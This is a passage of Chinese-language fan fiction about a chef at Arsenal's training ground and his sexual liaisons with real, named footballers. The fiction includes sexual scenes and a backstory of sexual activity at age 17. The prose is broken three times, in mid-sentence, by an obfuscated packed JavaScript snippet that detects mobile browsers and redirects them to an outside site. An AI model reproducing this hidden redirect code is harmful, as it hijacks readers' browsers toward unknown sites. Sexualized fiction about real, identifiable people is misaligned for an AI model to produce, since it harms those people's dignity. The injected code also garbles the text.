有不少人是来餐厅吃早饭的,然后健身,早训,9:30集体训练,午餐后午休,下午再上个体能课就可以早早下班,比赛日前两天会有针对性训练,他们日复一日,从不厌倦。 餐厅,训练场,会议室,更衣室等设施设备管理正规,基本不会出什么纰漏,不愧是大俱乐部。 给克里奇利的待遇也非常好,一来他就接管了亚餐区的主厨,凭借在宝格丽的工作阅历,当上全餐行政主厨是早晚的事。 他第一天看到早早来吃饭的有富安健洋,津琴科,特罗萨德,还有教练阿尔特塔,那个受伤的小驴今天应该不会来,他还要养几天伤吧。 克里奇利想着,他该吃点什么好得快,正想着,那个头上还打着绷带的德国男孩出现了。 8. 第 8 章 哈弗茨走近一看是他,脚步顿了顿,再看他面前摆着的餐盘,花里胡哨的中餐就好像他的心一样,令人捉摸不透。 克里奇利笑着对他点头,期待着他从餐盘里选些什么。 哈弗茨看着盘里摆放着好看的溏心蛋,猛然想起克里奇利离开他家的那天早上,也是煎了两个这样好看的溏心蛋,对他来说既是难忘的一次约会也是痛苦挣扎的开始。 想到这儿,他头也不回的走了。 午餐的时候,厄德高领着球员们来就餐了。他一眼就看见在亚餐区忙着盛汤的那个宽肩窄臀的背影,都说今天来了个中餐主厨做饭很好吃,现在又看到这个熟悉的背影,盲猜是他。 厄德高趴在干净纯白的吧台上,对他说“嘿,布莱恩,今天的例汤是什么?” 克里奇利回头一看是他,开心的笑笑,露出了他标志性的小虎牙,他戴着白色的手套端出一个好看的陶瓷盅,放在白色的餐盘上递给他,并说了一句小心烫手。 厄德高双手接过放到鼻子下面闻了闻,“好香啊,这是什么?” 克里奇利说:“大骨汤。” 大骨汤奶白奶白的,肉炖的软烂不柴,一抿脱骨,有的人喝完了一碗,还要再去盛一碗。 这几天大家都被新中式菜品所吸引,把克里奇利忙的不轻,他也十分认真的观察哪些菜品下的快,哪些菜品还需要改良,在保证营养均衡的情况下尽量还原中餐的色香味,让球员们吃好吃饱。 用不了几天,克里奇利就在阿森纳出名了,中餐受到前所未有的欢迎,而西餐区却很冷清。 但哈弗茨回来后三天没和他说话,也没有吃一口他做的菜,无论别人说中餐多么好吃他都不肯吃一口。 克里奇利一连熬了三天的大骨汤把别人撑得肚子圆滚滚,那个最需要补的小驴却一点没赏脸。 在接下来对阵切尔西的一场比赛中,哈弗茨在无对抗的情况下伤口复发再次血流满面,看着让人心疼。 回来后,克里奇利盛了一碗骨头汤,郑重的摆在他面前,哈弗茨抬头看他,他什么都没说,只是抬手指了指自己的头。 餐后,克里里奇看了看那个汤碗,发现他把汤都喝光了。 就这样一连喝了五天,他的伤好了。 克里奇利这么快就融入阿森纳,一方面是他菜做的真的好吃,另一方面是他这该死的魅力为他拉了不少分。每次吃饭,不管男女,只要看到他在吧台后忙活就不由得多看两眼,没办法,人们对身材高挑,浓眉大眼的帅哥大多是没有抵抗力的,这就叫秀色可餐。 哈弗茨终于和他说话了,一开口就是,“布莱恩,你可真有两下子。” 克里奇利不慌不忙的回他:“我希望你夸的不是我的厨艺。” 哈弗茨笑而不语。他已经发现,克里奇利来了不到半个月,就和队里好多人都有了密切接触。 就在他看见克里奇利在大巴上给赖斯喂烤牛肉粒,喂完以后又舔了舔手指后,就知道他俩也有一腿。自己之前还生他气,吃他醋,真是幼稚到可笑。 厄德高不在意,赖斯也觉得正常,教练不让在外面乱搞,那就在队里乱搞,肥水不流外人田嘛。 哈弗茨想明白了,克里奇利就是给圈天花板一样的人物,任何人都有机会睡他,任何人都无法得到他。 作为稀有的alpha,他真的做到了来去自如,还潇洒至极,不必为任何人买单,也不用任何人为他买单,本身就是厨子,想吃啥吃啥,就算再不济也绝不会饿死。 自从克里奇利来到阿森纳以后,阿森纳连场赢球,伤员们吃了他做的菜恢复的又快又好,这不禁让人怀疑是不是一种玄学,改善了伙食,也改善了风水。 他一时混的风生水起,成了阿森纳团队中不可或缺的人物,但事业的成功不是他最看中的,近水楼台享受优质资源才是他最得意的。他朋友羡慕他吃得好,他说男怕入错行,混饭吃的同时,给恐侗的足坛放松放松有助于他们身心健康。 他白天伺候球星吃好喝好,晚上被球星一条龙伺候,日子过得相当滋润,那也不耽误他深更半夜出现在“nice”吧里,因为那里是他的精神寄托,也是他和朋友们释放压力的聚集地,只不过他12点前就要像灰姑娘一样溜回家睡觉,因此被他朋友吐槽,通勤的克里奇利比球星还自律,时间长了会不会收了性子,谈起1vs1的恋爱来。 他说自从他爸出柜只带走一口锅时,就警告过他,以后要是敢结婚就拿这口锅削死他。所以他觉得自己的出生就是个错误,但是不活了吧又有点对不住这大把的需求,只要他出现在夜店,平均不到30秒就有猎物主动钓他。 伯明翰凤凰大道的小资家庭一夜之间分崩离析。他早就知道,他爸开始往家带学徒,兄弟,同事,牌友时,自己也离出柜不远了。因为他把那些进进出出家门的男人们也进进出出了,被他爸打出家门无家可归,那时他才17岁。 总是住在他两个好朋友家也不是办法,直到理查德和保罗的父母相继知道儿子取向时,都认为是克里奇利给他们掰弯了,在他生日这天,又流浪街头了。 18岁生日这天,他一个人,饥肠辘辘,在大雪纷飞的夜里,无处可去。 他想买一包火柴,去天堂找他奶奶,却在一个饭店的后巷里,遇见了一个爷爷。 零下七八度的天气,又下着雪,人们都穿上了羽绒服,他当时还穿着一件牛仔外套,冻的拿不出手来,头发也长的遮住了他毫无血色的面颊,可能他就不该来这世上,他妈这么认为,当时他也这么认为。 还能怎么做,难道要跟人回家睡觉,赚100块服务费?那不是男技吗,当时的他还很青涩,要搁现在,一晚上能兼职3个客户不带脸红心跳的。 当那个白胡子爷爷问他你吃饭了吗,他蜷缩在墙角,抬起头看看,还以为见到了上帝,可上帝应该不会是个中国人吧。 爷爷借着后巷的光看清了他的脸,惊讶的发出一声感叹,他还以为爷爷看上他了,的确,他这张脸生的太有迷惑性了,18岁的他美的像个英意混血,雌雄莫辨。 爷爷带他来到了自家小饭店,给他喝了一碗鸡汤,他发誓,这是他喝过的最好喝的东西。喝完,脸色才慢慢红润起来。 他说,我需要陪你睡觉来感谢你吗? 爷爷说:“说什么胡话呢!孩子,你要是实在没处可去,就在这帮厨吧,前提是你必须改邪归正。” 他说我取向男,改不了。 爷爷说你取向不是邪,你不爱惜自己才是邪,说完,爷爷拿了棉被给他,从此他就有了一个家,一个师父,还有一个小师妹。 小师妹是个腐女,整天看他和客人眉来眼去,磕生磕死,还给他买耽美漫画看,中国风的也看了不少。 后来,爷爷身体越来越差,他打算归隐山林研究食疗,英国这地方条件有限,爷爷把小店卖了,带他们回中国追寻美食艺术,寻找人生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344777|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的力量和生命所在。 小师妹不喜欢做饭,她找了对象准备定居英国。克里奇利却对中餐制作充满了兴趣和热情,他遗传了他爸的出柜也遗传了他爸的职业,跟着师父去了中国。 爷爷孑然一身,归隐时教会了克里奇利很多,把他带出师了,也因此受到了半个孙子的送终之礼。 所以克里奇利怀疑自己是遇到了神仙,在中国大山里生存时,饮天地之精华,食百草之阴阳,悟生命之真谛。 生命之真谛就是让大山脚下的“夜色”吧里的“同/志”吃上了洋货。 从此他没有不爱惜自己,反而他相当惯着自己。 自己吃好喝好,全家不饿。 他的两个好朋友总觉得欠着他的,那夜谁家也没有留宿他,还以为他冻死在大街上了。隔了三年再看见他时,第一时间带他去吧里玩了个三天三夜。 克里奇利也没怪他们,时运不济怪不得别人,但是从那时候开始,他俩也只能吃他挑剩下的。 克里奇利在伦敦也生活7年了,和他俩早就成了铁三角,雷打不动的健身,桑拿,蹦迪,分享性/福运势,已经成了他伦敦生存手册。 被宝格丽革职后还吃了一个月好朋友做的饭,吃恶心了,才走上重启人生的打工之路。 现在从阿森纳起步,也算是高开高走,他得珍惜。 于是他12点前准时回家睡觉,带的人也不留过夜了,除了第二天能捎着他一起上班的。 紧接着迎来了国家比赛日。 他也获得了两个星期的假期,可以好好放纵一下。 他看到哈弗茨回德国后,和布兰特上节目,眉目中都是满满的基情,他就放心了,这孩子容易动情,是个性情中人,还是少招惹他。 哈弗茨的确回国后就和布兰特同居了,布兰特发现他变了,好享受了什么委屈,问他也不说,布兰特觉得是英超压力太大,让他变得阴郁不爱说话。 好在比赛的状态和感觉还不错,回国后的比赛都能打上首发,还能进球。他们有了短暂的可以互相治愈的相聚。 克里奇利看着他们一个个回国状态都爆棚,心里也很开心。 正当他想大睡特睡两个星期时,发生了一件神奇的事情。 这天夜里他去nice赴约时,想吹吹风选择徒步去,正当他穿过一个公路桥时,遇到了一伙骑行的,他们飞一般的从他身边呼啸而过,离他很近,带起的风掀起了他的衣摆,吓他一跳,他转过身去冲他们喊:“嘿!看着点!撞到老子你们赔不起!” 话音刚落,他转过身来,正看到一个黑绿色的身影冲他飞奔而来,他来不及躲避,直接被那人撞倒在路边。 “噢Fuck!” 克里奇利狼狈的倒在公路桥一边,浑身疼,特别是两个膝盖,今天穿了一条破洞牛仔裤,膝盖处正好是两个大窟窿,摔得又准又狠,真他妈倒了血霉了! 他趴在地上装死,心想叫尼玛吓我,我也吓吓你。 那人慌忙把车子扔下,朝这边跑过来,一把把他抱了起来。 “哎哟,我艹,骨折了!” 他一吆喝,吓的那人又松开手,他又一屁股坐地上了。 “我说,你他妈…”当他仰起头刚要骂人时,发现那人长的好像一个人,黑皮,大眼睛,长脸,俊的像从漫画里走出来的一样。 又是这种感觉,他又要问,我是不是在哪见过你了,黑皮帅哥他也阅过不少。 9. 第 9 章 克里奇利感觉两个膝盖废了,上次摔成这个熊样还是刚记事的时候。 现在,看上去惨不忍睹,还火辣辣的疼。牛仔裤正好是膝盖那里破的洞,丝线似断非断的像穿过了一层皮,和血肉模糊在一起。 “啧。”拉下骑行面罩的男孩皱了皱眉,直接跪在克里奇利身边,眼睛盯着他膝盖。 突然男孩像想起来什么似的,站起来转身就跑。克里奇利看到他往自己的自行车那跑过去了,还以为他要溜掉。 算了,自己现在连站都站不起来,别说他骑自行车了,就算是走他都追不上。 过了一会儿,他看见男孩手里握着个小包又跑了回来,再次跪在他身边,小心翼翼的用手扯开牛仔裤上的破洞,想要把伤口暴露出来,可牛仔裤质量太好,破洞做的藕断丝连怎么扯都扯不断,男孩一语不发的趴下用牙齿去咬那段丝线。 这画面把克里奇给看愣了,男孩埋头在他腿间,卖力的用牙齿咬断丝线,咬完一边又去咬另一边,男孩脸颊的汗沿着他黝黑的皮肤缓缓流下,不可避免的发出一些声音,让克里奇利想到了一些十分不合时宜的画面。 “忍着点。”他说。 “嗯?”克里奇利仿佛听到了一种熟悉的腔调,他刚想问,你是哪里人,接着就被一张酒精湿巾敷住了伤口。 “啊嗷——!!”左膝传来的痛楚,好像有人拿小刀刮了他一下子。 “对不起,我知道这会很疼,但你还要再忍一下。” 他一边说,一边用另一张湿巾敷住了他的右膝。 “哎呦Fuck!”克里奇利感到另一个膝盖好像直接跪在了玻璃碴上。 “你要杀人啊?”他疼的眼泪都涌了出来。 “好了好了,我给你贴上创可贴就好了,我经常这么做的,放心吧。幸亏今天带了骑行用的急救包。”他的语气好像在哄一个受伤的小孩子,殊不知,他俩差了八岁。 贴创可贴远没有敷酒精湿巾那么疼,让克里奇利倒出空来和他聊几句。 “伯明翰人?” “嗯。小时候就住在伯明翰,听口音,你也是。” “Brian Critchley.” “Jude Bellingham.” “什么?” “嗯,是我。对不起,我今天第一天回国,然后和朋友们骑车,刚上桥,有点下坡,而你就站在马路中间。” “呵…”克里奇利摇摇头,说:“我的错,撞你车上去了。” “不不不,千万别这么说,机动车责任大于非机动车,非机动车责任大于行人。所以是我的错。” 克里奇林笑笑,觉得他这话没错,但又好像是他没错。 “能站起来吗?我送你回去。” 又没伤到骨头,怎么站不起来,他可没那么脆弱,贝林厄姆伸出手来的时候,他连搭都没搭,就站起来了。 “你送我?我坐你自行车上,你推我回去吗?” “呵呵…你可真幽默,布莱恩。这么叫你可以吧?” 克里奇利点点头,心想,他看不出来我比他大好几岁吗?我这脸是不是又该晒晒了,一白就嫩的跟没经过风吹雨打似的,想当年在中国的小迪吧里,不管几岁的男人都管他叫哥,叫的他真以为走到哪都是大哥一样的人物。 贝林厄姆还是伸手托住了他的胳膊,扶着他靠在旁边的栏杆上,“我的车就停在桥那边,我刚上来的那边,你在这等我十分钟。” 真是奇遇,最近沾了球运还是怎么着,自己不去主动招惹,还被球星追着撞呢。克里奇利纳了闷儿了,伦敦是真小啊,不过贝林是真好看,大眼睛笙笙,嘴巴很性感,浑身撒发着年轻的朝气,是自己的菜,不,是自己的顶级食材才对,但他有点不长眼神,不过没关系,一会他回来,自己就告诉他,你小,你听话,而不是我乖,我听话。 贝林厄姆接上他,沿着伦敦的大街一脚油门不到十分钟就到了克里奇利的住处。 他们从伯明翰维多利亚广场聊到街边的咖啡甜品店,说出的店名总能撞上,克里奇利说,“看来咱俩住的街区很近,我说一个店,你一定没去过。” “你说,我不相信伯明翰还有我没去过的店。是饭店还是面包店?” 克里奇利撇撇嘴,一点没不好意思,他直言:“火车站旁边的青年旅馆拐角处有一家叫战神的酒吧,那里全是teenager,12点以后战神层出不穷,你一定没去过。” “呃…”贝林厄姆一脚刹车把车停到他家门口,表情凝滞了一下,脑子里似乎在搜寻那个小店,他的确没去过,但听过,那里虽然没什么标牌,但去过的人都知道,那是一个txl酒吧,夜晚出没的全是queers,你只要在那附近一站,就会被各种人搭讪,像他这种乖乖仔,怎么能去过呢? 但他清晰的记得,有一次路过那里,看见一个帅哥在向他招手,他父亲赶紧开着车带他离开了,还对他说:“这是什么乌烟瘴气的地方,以后再也不走这条路了。” 但他一直很好奇,现在克里奇利提到了这个酒吧,有一点暗示,克里奇利大概是个gay。 “好了,乖乖仔,我走了。”克里奇利打开车门下了车。 “Hey Brian!”贝林厄姆看着他的背影叫住了他,“明天早上我来接你,去打破伤风。” “什么?” “我是说破伤风,必须要打的。” 克里奇利转过身来,把手支在车窗上,对他说:“我已经原谅你了,不用麻烦了。” “手机给我用一下。”他完全没有听克里奇里说什么。 “手机?” “嗯。” 克里奇利以为他没带手机,要用自己的手机打电话,于是从兜里摸出来递给他。 贝林厄姆输上了自己的手机号,打了过去,直到自己的手机响了铃,才把手机递过去。 “明天你醒了打给我。” 什么?他竟然自作主张的把他明天的事给安排了,是当超巨当惯了吗? “听着小子,如果回伯明翰的话,记得打给我,我可以带你去战神,那里很适合你这个年纪,而我现在有了更适合我这个年纪去的地方,在伦敦叫Nice,本来是我今天晚上要去的地方,全被你搅和了。所以明天不要来烦我。” 告别以后,克里奇利虽然打发了这个处处“关心”他的小孩,心里却有一点怅然所失,算了,他还是个小孩儿,来我家里会被吓到,再说看他那双清澈的大眼睛,一向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344778|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慧眼识珠的克里奇利,也不确定他到底是不是。 被克里奇利拒绝的贝林厄姆,有一点小小的失望,他回去后一直盯着手机屏幕,心想他会不会改变主意主动发个信息给他,哪怕是说别担心,伤已经好了之类的。他认为的不要烦我是他不想麻烦自己吧,如果不打破伤风,是很危险的,贝林也不想把自己陷入危险的境地。 他抱着手机,想着想着睡着了。第二天,他起了个大早,本来今天是国家队集训日,他请了个假,说晚点过去,其实他是较早回伦敦的球员,不惜冒着耍大牌的风险,厚着脸皮跟教练请了半天假,他说自己的小狗生病了,要带它打个针。 所以他就一直在克里奇利家楼下等他,一直等到十点,他也没有下来,也没有打电话给他,于是他拨通了昨天的那个号码。 克里奇利在家休息,即便是昨夜没去蹦迪,也昼夜颠倒,现在还在被窝里没起床呢。 他听见手机嗡嗡的震动,摸起来懒洋洋的喂了一声。 话筒那边就传来一个朝气蓬勃的声音:“Hey Brian!早上好!哦不,是早午好!我是祖德。” “Oh Jude!Jesus! christ!”克里奇利用枕头蒙住头,想起了昨晚那个对他关心入微的高大男孩,膝盖就隐隐作痛。 “我带你去打破伤风。” “哦,该死的破伤风。” “我就在你家楼下,而且我只请了几个小时的假。” “我靠,耽误英格兰国家队集训这个罪名我可担当不起。” “没事,不着急,我说的是带我家的小狗去打针。” “好吧,你的狗表示现在想咬人。” 克里奇利迅速洗了个澡,拿上外套就风风火火的下了楼。 他刚上车,贝林厄姆就递给他一个早餐袋子,说,“你一定刚起来,还没吃饭吧?” 我的天,他是想当大哥,还是想当妈妈。克里奇里皱皱眉,看着他塞过来的一个纸袋子,打开一看,里面是一个三明治和一瓶牛奶。 他说了声谢谢,便毫不客气的打开咬了一口。 “嗯,马可露丽的烘焙坊?” “哇哦,你是怎么吃出来的?” “我是个厨子。” “是吗?” “你不在英格兰混,当然不知道。”克里奇利双臂交叉在胸前,觉得名气也被他艳压到地底下去了。 “哈哈哈…谁不认识大名鼎鼎的Brian Critchley,我只是没想到他本人比电视上长的年轻许多。” 被他这么一说,克里奇利反倒觉得自己像个幼稚鬼,在21岁的小孩面前,各种出糗。 这时,他撩人的本性又蠢蠢欲动了,他瞄着他的胸肌说:“祖德,我只是看上去年轻,我阅历丰富的在战神不知当了多少期头牌,你想试试吗?” 贝林厄姆又是一脚刹车,停在了医院门口。 他没想到邀约来的这么快,这么直白,顿时有些口干舌燥,他慌慌张张的打开水瓶喝了一口水,说,“快去打针吧。” 克里奇利这回看明白了,他扫他的胸肌,他扫的是什么地方? 看来破伤风针只要不是打在他的dick上,今晚又是一个不眠夜。 10.第 10 章 和straight man相比,gay man总能在很短的时间里发现更好吃的猎物,并且可以很快的从上一个觉得还不错的猎物中脱身出来。这被克里奇利称之为天赋,也是他的人生信条。 当贝林厄姆就在他身边看着他打预防针的时候,他一点没觉得不自在,反而迅速把上衣扒了。 “噢!”护士小姐发出一声惊叹,还伸手捏了捏他的肱二头肌。 而贝林的眼神则赶紧挪到了地上。 克里奇利已经有了一半的把握。 “你见过比这更好看的肌肉男吗?”护士小姐打完针以后就和另一位护士说起悄悄话。 “薄肌,线条清晰,无赘肉,即使坐着也有平坦的小腹,肤色要是再深一点就好了,像旁边这位。” 贝林看了她们一眼,她们笑嘻嘻的走开了。 他们开上车,贝林吐出一口气,说:“好了,这回我的任务完成了。” “你的任务?” “确切地说,是我的责任,布莱恩。” 责任都不知道怎么拼的克里奇利,听一个21岁的小孩说要对他负责任,反问他:“你把我撞伤,再带我打个破伤风这就完了?” “你想要多少?”贝林挑眉看着他,年轻的容颜冲击着克里奇利白天欣赏美男的视觉领域。 贝林知道,他要是想讹他早就在昨晚知道自己叫贝林厄姆的时候狮子大开口了,电话还是自己主动给他的,要不是早上来接他,他都没打算跟自己出来打疫苗,所以这只是个例行问句罢了。 但也有反悔的时候不是,昨晚,克里奇利是真有点烦他,因为他明明年纪很小,却一直像个大妈一样啰嗦。现在又在他面前说责任,让涉世未深的毛头小子感受一下什么是社会的残酷,等他今晚来履行责任的时候就知道了。 “你要是真想赔,今晚带瓶好酒来我家。” 贝林笑笑,说好。 克里奇利拍了拍他的肩膀,大长腿迈出车门,把外套往肩上一撩,回头对他说:“你要是真来,提前告诉我带什么酒,我好做什么菜,毕竟你第一次登门拜访,总不能亏待了你。”他加重了第一次,转而又说:“不来也告诉我一声,别让我今晚闲着了。”他眼神往下扫,充满了强烈的暗示。 他真是个与众不同的人。贝林在去往英格兰国家队集训的路上,还在回味他刚刚认识的这个男人,看上去冷酷无情不好接近,实际上在跟他玩欲擒故纵,为他可笑的一夜情撇清责任。 贝林一下午的训练都显得很亢奋,格拉利什见了他以为是他在西甲落下的什么毛病,下午光撸铁,他已经很有型了好不好。 他走过去趴在贝林肩膀上,问他:“小孩,你这次回来很不一样。” “别叫我小孩,杰克,你大不了我几岁。”贝林举了举哑铃,余光看向自己的肱二头肌。 “哟!几天不见,你毛都长齐了啊!”格拉利什就觉得马德里阳光太烈,不见得多养人,把小孩都晒糙了,一张口就是浓郁的爷们儿味儿,以前一口一个哥的叫,现在直呼其大名。他毫不客气的拍了贝林的后脑勺,贝林闷了一声没理他,继续举哑铃。 格拉利什就觉得这孩子不正常,要是以前早就贴他身上撒娇怪他不知道疼弟弟,大老远回来一趟也不亲亲抱抱举高高。此刻的贝林就是一个冷酷无情的cool guy,一点都不可爱了。 谁知下班点一到,贝林第一个就窜了,连车尾气都没看见。 伦敦球员可以通勤,这在以前可不常见,这次教练管的不那么紧,管的太严也不见得踢的多好,还不如让他们适当放松一下,但是规定的早训不能迟到,即满足他们自由的需求又客观封死了鬼混到半夜的想法。 朱贝林很快就买了一瓶上等的龙舌兰,开着他的低调奢华的宝马越野,一脚油门干到了克里奇利家门口。 对了他让我提前告诉他买了什么酒,我给忘了,朱贝林已经到了才想起来这事,他赶紧打电话给克里奇利。 “嗨!布莱恩,我买了龙舌兰。” “噢,好。” “就只是好?” “不然呢?” “那你准备做什么?” “你买什么我都是做龙虾意面和牛排,因为我想吃。” “那你叫我提前告诉你。” “你这个年纪,会买什么酒啊。上来吧!” 克里奇利已经从窗边看到他的车了。 贝林感觉被他戏耍了,但他更来劲了,都把我当小孩是吧,我今天就要做点大人该做的事。 谁知,他刚进门就看到克里奇利家非常的另类,完全不符合他温和禁欲的形象,反而像一个酒吧。 “把门关上。”克里奇利一边指挥他,一边打开冰箱,拿出冰块。 贝林把门关上,就好像切断了退路,走向一个成人的新世界。他本来也不是小孩,他已经做好准备了,克里奇利就是他打开新世界大门的钥匙,他们意外相逢,混迹不同的圈子,以后也见不到。主要是,克里奇利太迷了,他举手投足都带着强烈的sex信号,一种不负责任的日抛态度,他没见过,却很向往,而且还让他有一种可以试试的安全感。 克里奇利长的高大但不壮硕,长胳膊长腿长脖子,头发和瞳仁一个颜色,棕色系,鼻子高挺笔直,亲吻的话必须错开,他的嘴唇不厚也不薄,看上去触感不错,皮肤微红,浅浅的胡茬,隆起的喉结,怎么看都是一个大帅哥,一个男女通吃的双开门冰箱,这种人,男人女人任何一个性别独自占有都是暴殄天物,应该搬到台面上分享才对。 贝林眼神四处张望,最终落到克里奇利的脸上,克里奇利已经打开他拿来的龙舌兰,加上冰块,倒了两杯,递给他一杯。 他接过去,两人碰了一下,同时喝了一口,接着克里奇利就抬手勾住了他的脖子。 贝林也没有客气,直接亲上了他的嘴。 亲的克里奇利直往后退,但没忘把嘴里的冰块送进他嘴里。 两个人舌尖推着冰块你来我往,很快就化成了水,沿着他们的嘴角溢了出来,声音画面极度升温,不用调情已经进入了状态。 贝林像一头小牛,使劲的撞他,他被亲的后脑勺疼,是哐哐撞向壁橱的声音。手上也在撕扯着,看谁先占领先机。 很快衣服就被对方扯的一地都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361932|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。 看来他们早已迫不及待的想先吃一口饭前甜点。 巧克力和奶油蛋糕。 他们在床上纠缠的时候,像两个颜色的绸缎系在一起,一会奶油色在上面,一会巧克力色在上面。 克里奇利觉得自己最近在家呆的又捂回来了,看着白到发光的自己,真的很不习惯,白的就该在下面挨搓,他想。 这回和贝林在床上抢A位可比上次和哈弗茨抢要费劲的多,贝林是真的有劲,他没吃饭还这么有劲,把克里奇利压的胸腔里的空气都所剩无几,刚要呼吸一口新鲜空气就又被他吻住嘴巴强取豪夺,一点都不温柔,还很霸道,抓的他头皮疼,如果放任他这么对自己,后果不堪设想。 他还是太没有经验了,克里奇利想,对一个21岁的大男孩来说,你让他stop,先放松,确保谁都不受伤,可能有点难。 被他亲的几乎断气的克里奇利终于说出话来,他说:“Jude,你平时喜欢做什么?” “呃,听听音乐,刷刷车,冥想。” “听上去都是静态的运动,可你现在在对我做很暴力的事情。” “暴力吗?我已经很小心了。” “我教你。” “噢。” 克里奇利轻柔的抚摸他爆米花似的自来卷和整齐的发际线,指尖划过他的嘴唇,沿着脖子捋过他的脊背,挺着脖子一下一下的吻他的嘴唇,动作轻柔,不急不缓,好像在教他,又好像在引领他,把他抚摸亲吻的很舒服,身体也不那么僵硬了。 克里奇利逐渐掌握了主动权,他把贝林放倒在身侧,并不急着压他,而是教他怎么亲吻,怎么找到对方的乐趣所在,就在贝林放松下来的时候,克里奇利就品尝到了巧克力的味道。 令人窒息的温存带着巨大的力量一下子就击溃了贝林的身心防线。 克里奇利虽然是个汉子,但他懂得以柔克刚的道理,还不是身经百战积累的经验,这个只会横冲直撞的小牛犊懂什么,放任他只会让双方受伤,从而对这件事产生恐惧,授人以鱼不如授人以渔,克里奇利什么都懂,这就是他学厨悟出来的功夫。 21岁的小孩状态太好了,好到爆炸,很快就被克里奇利这个老油条吃抹干净,然后丢给他一卷纸巾,并指了指浴室的方向。 贝林后劲过去了,肚子饿了。 克里奇利去煎牛排煮意面,他在浴室就闻到了香草牛肉的味道,他从玻璃门望向厨房,那个刚才卖力吃甜品的他正裸着上身,游刃有余的晃动着煎锅,火苗在煎锅外延钻进锅里,他不慌不忙的好像在操纵着火力大小,看上去迷人极了。 还是像以前一样,克里奇利一边做饭一边就把自己喂饱,然后端出一份很像样的牛排套餐,摆在贝林面前,看着贝林狼吞虎咽,不说好吃只顾往嘴里塞,他想,这孩子平时在马德里一定吃的不好,瘦的只剩俩大眼睛了。 “你怎么不吃?”贝林问他。 “我吃过了,巧克力棒的味道不错。” 贝林羞涩的笑。 “笑什么,一会轮到你了。” 克里奇利起身去洗澡,而贝林也学会了男侗第一课。 11.第 11 章 清晨射入眼里的一道光,会让克里利奇的眼睛看上去发绿,像两颗墨玉珠子莹润透亮,然而,贝林没有机会看到。他早早收拾东西走人了,走之前还亲了亲克里奇利的脸,把他亲的翻了个身,没有醒来。 贝林看了看他又长又白的腿,屁股像山丘一样有饱满好看的弧度,薄毯子下苗条又精干的腰若隐若现,昨晚的他疯狂掌控像一只雄狮,而现在睡的像一只死猫,就是把他的头晃来晃去他也不会醒。 贝林看着他火辣辣的身材,心想他怎么不踢球呢?要是踢球的话,自己绝不会被他教来教去。要不等他醒了,问问他想不想踢球,他这体力耐力韧劲和抢断本事,踢个后卫不成问题。 睡梦中的克里奇利还不知道自己被他编排,但他做了个梦,梦见自己变成了守门员,他睡过的球星在他面前一字排开,对着他狂射,连球带人将他踢进了身后的球网,猎物一样被网住了,浑身痛的快散架了。 等他醒了,看到家里一片狼藉,沙发倒了,窗帘掉了,浴巾地毯皱成一团,酒瓶子到处都是,看上去像进来了一头野兽而不曾有人来过的痕迹,只有地上的两个TT证明昨晚是人,不是兽。 很快他就把那个梦给忘了,与大部分异性恋或蕾丝边不同的是,男侗并不想维持一个固定的关系,这是克里奇利守恒定律。他勇于开拓和来去自如的精神令他的同类好友感到崇拜,或者说,他们是一路货色,聚在一起只会分享前一晚鲜肉的味道如何。 所以想惩罚我,做梦去吧。 他和朋友们又聚在晚上12点的nice酒吧。舞池里摇曳生姿,高台上面群魔乱舞,他依然像平时一样,把两个好朋友丢在吧台上,穿过人群,拉上与他看对眼的帅哥,在舞池里做完前戏,再拉着帅哥的手穿过酒吧密道,走进个人VIP包间再做个全套。 等他出来的时候,他的两个好朋友还在吧台上喝着闷酒,听他讲刚才那个人看上去是个top,实际在房间里穿着小裙子不知有多风骚。 理查德和保罗不信,嫉妒的讽刺他,“你也说自己是个top,可能在包间里穿小裙子的那个人是你吧?” “你俩要不要试试?” “不好意思,我俩也是top。” “呵,说的就好像我稀罕你俩。” 这时候一束光扫过吧台,把克里奇利的脸照的惨白,他看着舞池里的妖魔鬼怪,又扫了一眼这两个无趣的人,顿时感到光阴虚度,他不该总是停留在这里,不然也会变成他俩这样只会YY的家伙。 他说:“我还有一周假期,我要去马德里。” 两个好朋友疑惑的看着他,不知道他又发什么疯。 “我想真正的日光浴要比烤灯来的快,还有我不想在伦敦的公园里光着屁股挨野生蚊子咬。” 两个好朋友噗嗤一声笑出来。 “Brian,蚊子还有野生的和家养的吗?” “你俩呀,总是在我耳边嗡嗡,说些不切实际的,要想成为我这样的人,不能光看,要付诸行动,好了,不跟你俩说了,我要回去买票了,等我回来就会变成一个人见人爱的古铜雕刻男孩,我希望你们也不要原地踏步,祝你们玩的开心。” “男孩?他是不是说男孩?”理查德看着布莱恩的背影,嘲笑他快30了还有人生目标,就是返老还童,再把自己变成少男。 而一边的保罗却在暗暗点头,“他可以的理查德,他最近一定是获得了什么了不得的资源,逼迫他脱胎换骨,追求想要的x福。” 